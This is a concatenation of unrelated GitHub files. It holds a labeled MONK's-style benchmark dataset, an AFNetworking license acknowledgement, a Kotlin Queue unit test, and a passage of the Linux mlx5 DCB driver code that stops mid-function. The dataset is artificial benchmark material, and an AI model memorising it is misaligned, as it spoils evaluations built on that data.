1 3 2 2 1 3 1 data_365
0 3 2 2 1 3 2 data_366
1 3 2 2 2 1 1 data_369
0 3 2 2 2 2 1 data_371
0 3 2 2 2 2 2 data_372
0 3 2 2 2 3 2 data_374
1 3 2 2 3 1 1 data_377
0 3 2 2 3 3 2 data_382
0 3 2 2 3 4 2 data_384
0 3 3 1 1 1 1 data_385
0 3 3 1 1 2 1 data_387
0 3 3 1 1 3 1 data_389
1 3 3 1 1 3 2 data_390
0 3 3 1 2 3 2 data_398
0 3 3 2 1 1 1 data_409
1 3 3 2 2 1 1 data_417
0 3 3 2 2 2 1 data_419
0 3 3 2 2 3 1 data_421
0 3 3 2 2 3 2 data_422
1 3 3 2 3 1 1 data_425
0 3 3 2 3 2 1 data_427
0 3 3 2 3 4 2 data_432
0 1 1 1 1 1 1 data_1
0 1 1 1 1 1 2 data_2
0 1 1 1 1 2 1 data_3
0 1 1 1 1 2 2 data_4
0 1 1 1 1 3 1 data_5
0 1 1 1 1 3 2 data_6
0 1 1 1 1 4 1 data_7
0 1 1 1 1 4 2 data_8
0 1 1 1 2 1 1 data_9
0 1 1 1 2 1 2 data_10
0 1 1 1 2 2 1 data_11
0 1 1 1 2 2 2 data_12
0 1 1 1 2 3 1 data_13
0 1 1 1 2 3 2 data_14
0 1 1 1 2 4 1 data_15
0 1 1 1 2 4 2 data_16
0 1 1 1 3 1 1 data_17
0 1 1 1 3 1 2 data_18
0 1 1 1 3 2 1 data_19
0 1 1 1 3 2 2 data_20
0 1 1 1 3 3 1 data_21
0 1 1 1 3 3 2 data_22
0 1 1 1 3 4 1 data_23
0 1 1 1 3 4 2 data_24
0 1 1 2 1 1 1 data_25
0 1 1 2 1 1 2 data_26
0 1 1 2 1 2 1 data_27
0 1 1 2 1 2 2 data_28
0 1 1 2 1 3 1 data_29
0 1 1 2 1 3 2 data_30
0 1 1 2 1 4 1 data_31
0 1 1 2 1 4 2 data_32
0 1 1 2 2 1 1 data_33
0 1 1 2 2 1 2 data_34
0 1 1 2 2 2 1 data_35
1 1 1 2 2 2 2 data_36
0 1 1 2 2 3 1 data_37
1 1 1 2 2 3 2 data_38
0 1 1 2 2 4 1 data_39
1 1 1 2 2 4 2 data_40
0 1 1 2 3 1 1 data_41
0 1 1 2 3 1 2 data_42
0 1 1 2 3 2 1 data_43
1 1 1 2 3 2 2 data_44
0 1 1 2 3 3 1 data_45
1 1 1 2 3 3 2 data_46
0 1 1 2 3 4 1 data_47
1 1 1 2 3 4 2 data_48
0 1 2 1 1 1 1 data_49
0 1 2 1 1 1 2 data_50
0 1 2 1 1 2 1 data_51
0 1 2 1 1 2 2 data_52
0 1 2 1 1 3 1 data_53
0 1 2 1 1 3 2 data_54
0 1 2 1 1 4 1 data_55
0 1 2 1 1 4 2 data_56
0 1 2 1 2 1 1 data_57
0 1 2 1 2 1 2 data_58
0 1 2 1 2 2 1 data_59
1 1 2 1 2 2 2 data_60
0 1 2 1 2 3 1 data_61
1 1 2 1 2 3 2 data_62
0 1 2 1 2 4 1 data_63
1 1 2 1 2 4 2 data_64
0 1 2 1 3 1 1 data_65
0 1 2 1 3 1 2 data_66
0 1 2 1 3 2 1 data_67
1 1 2 1 3 2 2 data_68
0 1 2 1 3 3 1 data_69
1 1 2 1 3 3 2 data_70
0 1 2 1 3 4 1 data_71
1 1 2 1 3 4 2 data_72
0 1 2 2 1 1 1 data_73
0 1 2 2 1 1 2 data_74
0 1 2 2 1 2 1 data_75
1 1 2 2 1 2 2 data_76
0 1 2 2 1 3 1 data_77
1 1 2 2 1 3 2 data_78
0 1 2 2 1 4 1 data_79
1 1 2 2 1 4 2 data_80
0 1 2 2 2 1 1 data_81
1 1 2 2 2 1 2 data_82
1 1 2 2 2 2 1 data_83
0 1 2 2 2 2 2 data_84
1 1 2 2 2 3 1 data_85
0 1 2 2 2 3 2 data_86
1 1 2 2 2 4 1 data_87
0 1 2 2 2 4 2 data_88
0 1 2 2 3 1 1 data_89
1 1 2 2 3 1 2 data_90
1 1 2 2 3 2 1 data_91
0 1 2 2 3 2 2 data_92
1 1 2 2 3 3 1 data_93
0 1 2 2 3 3 2 data_94
1 1 2 2 3 4 1 data_95
0 1 2 2 3 4 2 data_96
0 1 3 1 1 1 1 data_97
0 1 3 1 1 1 2 data_98
0 1 3 1 1 2 1 data_99
0 1 3 1 1 2 2 data_100
0 1 3 1 1 3 1 data_101
0 1 3 1 1 3 2 data_102
0 1 3 1 1 4 1 data_103
0 1 3 1 1 4 2 data_104
0 1 3 1 2 1 1 data_105
0 1 3 1 2 1 2 data_106
0 1 3 1 2 2 1 data_107
1 1 3 1 2 2 2 data_108
0 1 3 1 2 3 1 data_109
1 1 3 1 2 3 2 data_110
0 1 3 1 2 4 1 data_111
1 1 3 1 2 4 2 data_112
0 1 3 1 3 1 1 data_113
0 1 3 1 3 1 2 data_114
0 1 3 1 3 2 1 data_115
1 1 3 1 3 2 2 data_116
0 1 3 1 3 3 1 data_117
1 1 3 1 3 3 2 data_118
0 1 3 1 3 4 1 data_119
1 1 3 1 3 4 2 data_120
0 1 3 2 1 1 1 data_121
0 1 3 2 1 1 2 data_122
0 1 3 2 1 2 1 data_123
1 1 3 2 1 2 2 data_124
0 1 3 2 1 3 1 data_125
1 1 3 2 1 3 2 data_126
0 1 3 2 1 4 1 data_127
1 1 3 2 1 4 2 data_128
0 1 3 2 2 1 1 data_129
1 1 3 2 2 1 2 data_130
1 1 3 2 2 2 1 data_131
0 1 3 2 2 2 2 data_132
1 1 3 2 2 3 1 data_133
0 1 3 2 2 3 2 data_134
1 1 3 2 2 4 1 data_135
0 1 3 2 2 4 2 data_136
0 1 3 2 3 1 1 data_137
1 1 3 2 3 1 2 data_138
1 1 3 2 3 2 1 data_139
0 1 3 2 3 2 2 data_140
1 1 3 2 3 3 1 data_141
0 1 3 2 3 3 2 data_142
1 1 3 2 3 4 1 data_143
0 1 3 2 3 4 2 data_144
0 2 1 1 1 1 1 data_145
0 2 1 1 1 1 2 data_146
0 2 1 1 1 2 1 data_147
0 2 1 1 1 2 2 data_148
0 2 1 1 1 3 1 data_149
0 2 1 1 1 3 2 data_150
0 2 1 1 1 4 1 data_151
0 2 1 1 1 4 2 data_152
0 2 1 1 2 1 1 data_153
0 2 1 1 2 1 2 data_154
0 2 1 1 2 2 1 data_155
1 2 1 1 2 2 2 data_156
0 2 1 1 2 3 1 data_157
1 2 1 1 2 3 2 data_158
0 2 1 1 2 4 1 data_159
1 2 1 1 2 4 2 data_160
0 2 1 1 3 1 1 data_161
0 2 1 1 3 1 2 data_162
0 2 1 1 3 2 1 data_163
1 2 1 1 3 2 2 data_164
0 2 1 1 3 3 1 data_165
1 2 1 1 3 3 2 data_166
0 2 1 1 3 4 1 data_167
1 2 1 1 3 4 2 data_168
0 2 1 2 1 1 1 data_169
0 2 1 2 1 1 2 data_170
0 2 1 2 1 2 1 data_171
1 2 1 2 1 2 2 data_172
0 2 1 2 1 3 1 data_173
1 2 1 2 1 3 2 data_174
0 2 1 2 1 4 1 data_175
1 2 1 2 1 4 2 data_176
0 2 1 2 2 1 1 data_177
1 2 1 2 2 1 2 data_178
1 2 1 2 2 2 1 data_179
0 2 1 2 2 2 2 data_180
1 2 1 2 2 3 1 data_181
0 2 1 2 2 3 2 data_182
1 2 1 2 2 4 1 data_183
0 2 1 2 2 4 2 data_184
0 2 1 2 3 1 1 data_185
1 2 1 2 3 1 2 data_186
1 2 1 2 3 2 1 data_187
0 2 1 2 3 2 2 data_188
1 2 1 2 3 3 1 data_189
0 2 1 2 3 3 2 data_190
1 2 1 2 3 4 1 data_191
0 2 1 2 3 4 2 data_192
0 2 2 1 1 1 1 data_193
0 2 2 1 1 1 2 data_194
0 2 2 1 1 2 1 data_195
1 2 2 1 1 2 2 data_196
0 2 2 1 1 3 1 data_197
1 2 2 1 1 3 2 data_198
0 2 2 1 1 4 1 data_199
1 2 2 1 1 4 2 data_200
0 2 2 1 2 1 1 data_201
1 2 2 1 2 1 2 data_202
1 2 2 1 2 2 1 data_203
0 2 2 1 2 2 2 data_204
1 2 2 1 2 3 1 data_205
0 2 2 1 2 3 2 data_206
1 2 2 1 2 4 1 data_207
0 2 2 1 2 4 2 data_208
0 2 2 1 3 1 1 data_209
1 2 2 1 3 1 2 data_210
1 2 2 1 3 2 1 data_211
0 2 2 1 3 2 2 data_212
1 2 2 1 3 3 1 data_213
0 2 2 1 3 3 2 data_214
1 2 2 1 3 4 1 data_215
0 2 2 1 3 4 2 data_216
0 2 2 2 1 1 1 data_217
1 2 2 2 1 1 2 data_218
1 2 2 2 1 2 1 data_219
0 2 2 2 1 2 2 data_220
1 2 2 2 1 3 1 data_221
0 2 2 2 1 3 2 data_222
1 2 2 2 1 4 1 data_223
0 2 2 2 1 4 2 data_224
1 2 2 2 2 1 1 data_225
0 2 2 2 2 1 2 data_226
0 2 2 2 2 2 1 data_227
0 2 2 2 2 2 2 data_228
0 2 2 2 2 3 1 data_229
0 2 2 2 2 3 2 data_230
0 2 2 2 2 4 1 data_231
0 2 2 2 2 4 2 data_232
1 2 2 2 3 1 1 data_233
0 2 2 2 3 1 2 data_234
0 2 2 2 3 2 1 data_235
0 2 2 2 3 2 2 data_236
0 2 2 2 3 3 1 data_237
0 2 2 2 3 3 2 data_238
0 2 2 2 3 4 1 data_239
0 2 2 2 3 4 2 data_240
0 2 3 1 1 1 1 data_241
0 2 3 1 1 1 2 data_242
0 2 3 1 1 2 1 data_243
1 2 3 1 1 2 2 data_244
0 2 3 1 1 3 1 data_245
1 2 3 1 1 3 2 data_246
0 2 3 1 1 4 1 data_247
1 2 3 1 1 4 2 data_248
0 2 3 1 2 1 1 data_249
1 2 3 1 2 1 2 data_250
1 2 3 1 2 2 1 data_251
0 2 3 1 2 2 2 data_252
1 2 3 1 2 3 1 data_253
0 2 3 1 2 3 2 data_254
1 2 3 1 2 4 1 data_255
0 2 3 1 2 4 2 data_256
0 2 3 1 3 1 1 data_257
1 2 3 1 3 1 2 data_258
1 2 3 1 3 2 1 data_259
0 2 3 1 3 2 2 data_260
1 2 3 1 3 3 1 data_261
0 2 3 1 3 3 2 data_262
1 2 3 1 3 4 1 data_263
0 2 3 1 3 4 2 data_264
0 2 3 2 1 1 1 data_265
1 2 3 2 1 1 2 data_266
1 2 3 2 1 2 1 data_267
0 2 3 2 1 2 2 data_268
1 2 3 2 1 3 1 data_269
0 2 3 2 1 3 2 data_270
1 2 3 2 1 4 1 data_271
0 2 3 2 1 4 2 data_272
1 2 3 2 2 1 1 data_273
0 2 3 2 2 1 2 data_274
0 2 3 2 2 2 1 data_275
0 2 3 2 2 2 2 data_276
0 2 3 2 2 3 1 data_277
0 2 3 2 2 3 2 data_278
0 2 3 2 2 4 1 data_279
0 2 3 2 2 4 2 data_280
1 2 3 2 3 1 1 data_281
0 2 3 2 3 1 2 data_282
0 2 3 2 3 2 1 data_283
0 2 3 2 3 2 2 data_284
0 2 3 2 3 3 1 data_285
0 2 3 2 3 3 2 data_286
0 2 3 2 3 4 1 data_287
0 2 3 2 3 4 2 data_288
0 3 1 1 1 1 1 data_289
0 3 1 1 1 1 2 data_290
0 3 1 1 1 2 1 data_291
0 3 1 1 1 2 2 data_292
0 3 1 1 1 3 1 data_293
0 3 1 1 1 3 2 data_294
0 3 1 1 1 4 1 data_295
0 3 1 1 1 4 2 data_296
0 3 1 1 2 1 1 data_297
0 3 1 1 2 1 2 data_298
0 3 1 1 2 2 1 data_299
1 3 1 1 2 2 2 data_300
0 3 1 1 2 3 1 data_301
1 3 1 1 2 3 2 data_302
0 3 1 1 2 4 1 data_303
1 3 1 1 2 4 2 data_304
0 3 1 1 3 1 1 data_305
0 3 1 1 3 1 2 data_306
0 3 1 1 3 2 1 data_307
1 3 1 1 3 2 2 data_308
0 3 1 1 3 3 1 data_309
1 3 1 1 3 3 2 data_310
0 3 1 1 3 4 1 data_311
1 3 1 1 3 4 2 data_312
0 3 1 2 1 1 1 data_313
0 3 1 2 1 1 2 data_314
0 3 1 2 1 2 1 data_315
1 3 1 2 1 2 2 data_316
0 3 1 2 1 3 1 data_317
1 3 1 2 1 3 2 data_318
0 3 1 2 1 4 1 data_319
1 3 1 2 1 4 2 data_320
0 3 1 2 2 1 1 data_321
1 3 1 2 2 1 2 data_322
1 3 1 2 2 2 1 data_323
0 3 1 2 2 2 2 data_324
1 3 1 2 2 3 1 data_325
0 3 1 2 2 3 2 data_326
1 3 1 2 2 4 1 data_327
0 3 1 2 2 4 2 data_328
0 3 1 2 3 1 1 data_329
1 3 1 2 3 1 2 data_330
1 3 1 2 3 2 1 data_331
0 3 1 2 3 2 2 data_332
1 3 1 2 3 3 1 data_333
0 3 1 2 3 3 2 data_334
1 3 1 2 3 4 1 data_335
0 3 1 2 3 4 2 data_336
0 3 2 1 1 1 1 data_337
0 3 2 1 1 1 2 data_338
0 3 2 1 1 2 1 data_339
1 3 2 1 1 2 2 data_340
0 3 2 1 1 3 1 data_341
1 3 2 1 1 3 2 data_342
0 3 2 1 1 4 1 data_343
1 3 2 1 1 4 2 data_344
0 3 2 1 2 1 1 data_345
1 3 2 1 2 1 2 data_346
1 3 2 1 2 2 1 data_347
0 3 2 1 2 2 2 data_348
1 3 2 1 2 3 1 data_349
0 3 2 1 2 3 2 data_350
1 3 2 1 2 4 1 data_351
0 3 2 1 2 4 2 data_352
0 3 2 1 3 1 1 data_353
1 3 2 1 3 1 2 data_354
1 3 2 1 3 2 1 data_355
0 3 2 1 3 2 2 data_356
1 3 2 1 3 3 1 data_357
0 3 2 1 3 3 2 data_358
1 3 2 1 3 4 1 data_359
0 3 2 1 3 4 2 data_360
0 3 2 2 1 1 1 data_361
1 3 2 2 1 1 2 data_362
1 3 2 2 1 2 1 data_363
0 3 2 2 1 2 2 data_364
1 3 2 2 1 3 1 data_365
0 3 2 2 1 3 2 data_366
1 3 2 2 1 4 1 data_367
0 3 2 2 1 4 2 data_368
1 3 2 2 2 1 1 data_369
0 3 2 2 2 1 2 data_370
0 3 2 2 2 2 1 data_371
0 3 2 2 2 2 2 data_372
0 3 2 2 2 3 1 data_373
0 3 2 2 2 3 2 data_374
0 3 2 2 2 4 1 data_375
0 3 2 2 2 4 2 data_376
1 3 2 2 3 1 1 data_377
0 3 2 2 3 1 2 data_378
0 3 2 2 3 2 1 data_379
0 3 2 2 3 2 2 data_380
0 3 2 2 3 3 1 data_381
0 3 2 2 3 3 2 data_382
0 3 2 2 3 4 1 data_383
0 3 2 2 3 4 2 data_384
0 3 3 1 1 1 1 data_385
0 3 3 1 1 1 2 data_386
0 3 3 1 1 2 1 data_387
1 3 3 1 1 2 2 data_388
0 3 3 1 1 3 1 data_389
1 3 3 1 1 3 2 data_390
0 3 3 1 1 4 1 data_391
1 3 3 1 1 4 2 data_392
0 3 3 1 2 1 1 data_393
1 3 3 1 2 1 2 data_394
1 3 3 1 2 2 1 data_395
0 3 3 1 2 2 2 data_396
1 3 3 1 2 3 1 data_397
0 3 3 1 2 3 2 data_398
1 3 3 1 2 4 1 data_399
0 3 3 1 2 4 2 data_400
0 3 3 1 3 1 1 data_401
1 3 3 1 3 1 2 data_402
1 3 3 1 3 2 1 data_403
0 3 3 1 3 2 2 data_404
1 3 3 1 3 3 1 data_405
0 3 3 1 3 3 2 data_406
1 3 3 1 3 4 1 data_407
0 3 3 1 3 4 2 data_408
0 3 3 2 1 1 1 data_409
1 3 3 2 1 1 2 data_410
1 3 3 2 1 2 1 data_411
0 3 3 2 1 2 2 data_412
1 3 3 2 1 3 1 data_413
0 3 3 2 1 3 2 data_414
1 3 3 2 1 4 1 data_415
0 3 3 2 1 4 2 data_416
1 3 3 2 2 1 1 data_417
0 3 3 2 2 1 2 data_418
0 3 3 2 2 2 1 data_419
0 3 3 2 2 2 2 data_420
0 3 3 2 2 3 1 data_421
0 3 3 2 2 3 2 data_422
0 3 3 2 2 4 1 data_423
0 3 3 2 2 4 2 data_424
1 3 3 2 3 1 1 data_425
0 3 3 2 3 1 2 data_426
0 3 3 2 3 2 1 data_427
0 3 3 2 3 2 2 data_428
0 3 3 2 3 3 1 data_429
0 3 3 2 3 3 2 data_430
0 3 3 2 3 4 1 data_431
0 3 3 2 3 4 2 data_432
| {
"pile_set_name": "Github"
} |
# Acknowledgements
This application makes use of the following third party libraries:
## AFNetworking
Copyright (c) 2011-2016 Alamofire Software Foundation (http://alamofire.org/)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
Generated by CocoaPods - https://cocoapods.org
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2017 Kotlin Algorithm Club
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
package io.uuddlrlrba.ktalgs.datastructures
import org.junit.Assert
import org.junit.Test
import java.util.*
class QueueTest {
@Test
fun emptyTest() {
val queue = Queue<Int>()
Assert.assertEquals(0, queue.size)
Assert.assertTrue(queue.isEmpty())
}
@Test(expected= NoSuchElementException::class)
fun exceptionTest() {
val queue = Queue<Int>()
queue.peek()
}
@Test
fun naiveTest() {
val queue = Queue<Int>()
for (i in 0..10) {
queue.add(i)
}
for (i in 0..10) {
Assert.assertEquals(i, queue.peek())
Assert.assertEquals(i, queue.poll())
}
Assert.assertEquals(0, queue.size)
}
@Test
fun naiveIteratorTest() {
val queue = Queue<Int>()
for (i in 0..10) {
queue.add(i)
}
var k = 0
for (i in queue) {
Assert.assertEquals(i, k++)
}
}
@Test
fun naiveContainsTest() {
val queue = Queue<Int>()
for (i in 0..10) {
queue.add(i)
}
for (i in 0..10) {
Assert.assertTrue(queue.contains(i))
}
Assert.assertFalse(queue.contains(100))
Assert.assertFalse(queue.contains(101))
Assert.assertFalse(queue.contains(103))
}
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2016, Mellanox Technologies. All rights reserved.
*
* This software is available to you under a choice of one of two
* licenses. You may choose to be licensed under the terms of the GNU
* General Public License (GPL) Version 2, available from the file
* COPYING in the main directory of this source tree, or the
* OpenIB.org BSD license below:
*
* Redistribution and use in source and binary forms, with or
* without modification, are permitted provided that the following
* conditions are met:
*
* - Redistributions of source code must retain the above
* copyright notice, this list of conditions and the following
* disclaimer.
*
* - Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following
* disclaimer in the documentation and/or other materials
* provided with the distribution.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
* BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
* ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#include <linux/device.h>
#include <linux/netdevice.h>
#include "en.h"
#define MLX5E_MAX_PRIORITY 8
#define MLX5E_100MB (100000)
#define MLX5E_1GB (1000000)
#define MLX5E_CEE_STATE_UP 1
#define MLX5E_CEE_STATE_DOWN 0
enum {
MLX5E_VENDOR_TC_GROUP_NUM = 7,
MLX5E_LOWEST_PRIO_GROUP = 0,
};
#define MLX5_DSCP_SUPPORTED(mdev) (MLX5_CAP_GEN(mdev, qcam_reg) && \
MLX5_CAP_QCAM_REG(mdev, qpts) && \
MLX5_CAP_QCAM_REG(mdev, qpdpm))
static int mlx5e_set_trust_state(struct mlx5e_priv *priv, u8 trust_state);
static int mlx5e_set_dscp2prio(struct mlx5e_priv *priv, u8 dscp, u8 prio);
/* If dcbx mode is non-host set the dcbx mode to host.
*/
static int mlx5e_dcbnl_set_dcbx_mode(struct mlx5e_priv *priv,
enum mlx5_dcbx_oper_mode mode)
{
struct mlx5_core_dev *mdev = priv->mdev;
u32 param[MLX5_ST_SZ_DW(dcbx_param)];
int err;
err = mlx5_query_port_dcbx_param(mdev, param);
if (err)
return err;
MLX5_SET(dcbx_param, param, version_admin, mode);
if (mode != MLX5E_DCBX_PARAM_VER_OPER_HOST)
MLX5_SET(dcbx_param, param, willing_admin, 1);
return mlx5_set_port_dcbx_param(mdev, param);
}
static int mlx5e_dcbnl_switch_to_host_mode(struct mlx5e_priv *priv)
{
struct mlx5e_dcbx *dcbx = &priv->dcbx;
int err;
if (!MLX5_CAP_GEN(priv->mdev, dcbx))
return 0;
if (dcbx->mode == MLX5E_DCBX_PARAM_VER_OPER_HOST)
return 0;
err = mlx5e_dcbnl_set_dcbx_mode(priv, MLX5E_DCBX_PARAM_VER_OPER_HOST);
if (err)
return err;
dcbx->mode = MLX5E_DCBX_PARAM_VER_OPER_HOST;
return 0;
}
static int mlx5e_dcbnl_ieee_getets(struct net_device *netdev,
struct ieee_ets *ets)
{
struct mlx5e_priv *priv = netdev_priv(netdev);
struct mlx5_core_dev *mdev = priv->mdev;
u8 tc_group[IEEE_8021QAZ_MAX_TCS];
bool is_tc_group_6_exist = false;
bool is_zero_bw_ets_tc = false;
int err = 0;
int i;
if (!MLX5_CAP_GEN(priv->mdev, ets))
return -EOPNOTSUPP;
ets->ets_cap = mlx5_max_tc(priv->mdev) + 1;
for (i = 0; i < ets->ets_cap; i++) {
err = mlx5_query_port_prio_tc(mdev, i, &ets->prio_tc[i]);
if (err)
return err;
err = mlx5_query_port_tc_group(mdev, i, &tc_group[i]);
if (err)
return err;
err = mlx5_query_port_tc_bw_alloc(mdev, i, &ets->tc_tx_bw[i]);
if (err)
return err;
if (ets->tc_tx_bw[i] < MLX5E_MAX_BW_ALLOC &&
tc_group[i] == (MLX5E_LOWEST_PRIO_GROUP + 1))
is_zero_bw_ets_tc = true;
if (tc_group[i] == (MLX5E_VENDOR_TC_GROUP_NUM - 1))
is_tc_group_6_exist = true;
}
/* Report 0% ets tc if exits*/
if (is_zero_bw_ets_tc) {
for (i = 0; i < ets->ets_cap; i++)
if (tc_group[i] == MLX5E_LOWEST_PRIO_GROUP)
ets->tc_tx_bw[i] = 0;
}
/* Update tc_tsa based on fw setting*/
for (i = 0; i < ets->ets_cap; i++) {
if (ets->tc_tx_bw[i] < MLX5E_MAX_BW_ALLOC)
priv->dcbx.tc_tsa[i] = IEEE_8021QAZ_TSA_ETS;
else if (tc_group[i] == MLX5E_VENDOR_TC_GROUP_NUM &&
!is_tc_group_6_exist)
priv->dcbx.tc_tsa[i] = IEEE_8021QAZ_TSA_VENDOR;
}
memcpy(ets->tc_tsa, priv->dcbx.tc_tsa, sizeof(ets->tc_tsa));
return err;
}
static void mlx5e_build_tc_group(struct ieee_ets *ets, u8 *tc_group, int max_tc)
{
bool any_tc_mapped_to_ets = false;
bool ets_zero_bw = false;
int strict_group;
int i;
for (i = 0; i <= max_tc; i++) {
if (ets->tc_tsa[i] == IEEE_8021QAZ_TSA_ETS) {
any_tc_mapped_to_ets = true;
if (!ets->tc_tx_bw[i])
ets_zero_bw = true;
}
}
/* strict group has higher priority than ets group */
strict_group = MLX5E_LOWEST_PRIO_GROUP;
if (any_tc_mapped_to_ets)
strict_group++;
if (ets_zero_bw)
strict_group++;
for (i = 0; i <= max_tc; i++) {
switch (ets->tc_tsa[i]) {
case IEEE_8021QAZ_TSA_VENDOR:
tc_group[i] = MLX5E_VENDOR_TC_GROUP_NUM;
break;
case IEEE_8021QAZ_TSA_STRICT:
tc_group[i] = strict_group++;
break;
case IEEE_8021QAZ_TSA_ETS:
tc_group[i] = MLX5E_LOWEST_PRIO_GROUP;
if (ets->tc_tx_bw[i] && ets_zero_bw)
tc_group[i] = MLX5E_LOWEST_PRIO_GROUP + 1;
break;
}
}
}
static void mlx5e_build_tc_tx_bw(struct ieee_ets *ets, u8 *tc_tx_bw,
u8 *tc_group, int max_tc)
{
int bw_for_ets_zero_bw_tc = 0;
int last_ets_zero_bw_tc = -1;
int num_ets_zero_bw = 0;
int i;
for (i = 0; i <= max_tc; i++) {
if (ets->tc_tsa[i] == IEEE_8021QAZ_TSA_ETS &&
!ets->tc_tx_bw[i]) {
num_ets_zero_bw++;
last_ets_zero_bw_tc = i;
}
}
if (num_ets_zero_bw)
bw_for_ets_zero_bw_tc = MLX5E_MAX_BW_ALLOC / num_ets_zero_bw;
for (i = 0; i <= max_tc; i++) {
switch (ets->tc_tsa[i]) {
case IEEE_8021QAZ_TSA_VENDOR:
tc_tx_bw[i] = MLX5E_MAX_BW_ALLOC;
break;
case IEEE_8021QAZ_TSA_STRICT:
tc_tx_bw[i] = MLX5E_MAX_BW_ALLOC;
break;
case IEEE_8021QAZ_TSA_ETS:
tc_tx_bw[i] = ets->tc_tx_bw[i] ?
ets->tc_tx_bw[i] :
bw_for_ets_zero_bw_tc;
break;
}
}
/* Make sure the total bw for ets zero bw group is 100% */
if (last_ets_zero_bw_tc != -1)
tc_tx_bw[last_ets_zero_bw_tc] +=
MLX5E_MAX_BW_ALLOC % num_ets_zero_bw;
}
/* If there are ETS BW 0,
* Set ETS group # to 1 for all ETS non zero BW tcs. Their sum must be 100%.
* Set group #0 to all the ETS BW 0 tcs and
* equally splits the 100% BW between them
* Report both group #0 and #1 as ETS type.
* All the tcs in group #0 will be reported with 0% BW.
*/
int mlx5e_dcbnl_ieee_setets_core(struct mlx5e_priv *priv, struct ieee_ets *ets)
{
struct mlx5_core_dev *mdev = priv->mdev;
u8 tc_tx_bw[IEEE_8021QAZ_MAX_TCS];
u8 tc_group[IEEE_8021QAZ_MAX_TCS];
int max_tc = mlx5_max_tc(mdev);
int err, i;
mlx5e_build_tc_group(ets, tc_group, max_tc);
mlx5e_build_tc_tx_bw(ets, tc_tx_bw, tc_group, max_tc);
err = mlx5_set_port_prio_tc(mdev, ets->prio_tc);
if (err)
return err;
err = mlx5_set_port_tc_group(mdev, tc_group);
if (err)
return err;
err = mlx5_set_port_tc_bw_alloc(mdev, tc_tx_bw);
if (err)
return err;
memcpy(priv->dcbx.tc_tsa, ets->tc_tsa, sizeof(ets->tc_tsa));
for (i = 0; i < IEEE_8021QAZ_MAX_TCS; i++) {
mlx5e_dbg(HW, priv, "%s: prio_%d <=> tc_%d\n",
__func__, i, ets->prio_tc[i]);
mlx5e_dbg(HW, priv, "%s: tc_%d <=> tx_bw_%d%%, group_%d\n",
__func__, i, tc_tx_bw[i], tc_group[i]);
}
return err;
}
static int mlx5e_dbcnl_validate_ets(struct net_device *netdev,
struct ieee_ets *ets,
bool zero_sum_allowed)
{
bool have_ets_tc = false;
int bw_sum = 0;
int i;
/* Validate Priority */
for (i = 0; i < IEEE_8021QAZ_MAX_TCS; i++) {
if (ets->prio_tc[i] >= MLX5E_MAX_PRIORITY) {
netdev_err(netdev,
"Failed to validate ETS: priority value greater than max(%d)\n",
MLX5E_MAX_PRIORITY);
return -EINVAL;
}
}
/* Validate Bandwidth Sum */
for (i = 0; i < IEEE_8021QAZ_MAX_TCS; i++) {
if (ets->tc_tsa[i] == IEEE_8021QAZ_TSA_ETS) {
have_ets_tc = true;
bw_sum += ets->tc_tx_bw[i];
}
}
if (have_ets_tc && bw_sum != 100) {
if (bw_sum || (!bw_sum && !zero_sum_allowed))
netdev_err(netdev,
"Failed to validate ETS: BW sum is illegal\n");
return -EINVAL;
}
return 0;
}
static int mlx5e_dcbnl_ieee_setets(struct net_device *netdev,
struct ieee_ets *ets)
{
struct mlx5e_priv *priv = netdev_priv(netdev);
int err;
if (!MLX5_CAP_GEN(priv->mdev, ets))
return -EOPNOTSUPP;
err = mlx5e_dbcnl_validate_ets(netdev, ets, false);
if (err)
return err;
err = mlx5e_dcbnl_ieee_setets_core(priv, ets);
if (err)
return err;
return 0;
}
static int mlx5e_dcbnl_ieee_getpfc(struct net_device *dev,
struct ieee_pfc *pfc)
{
struct mlx5e_priv *priv = netdev_priv(dev);
struct mlx5_core_dev *mdev = priv->mdev;
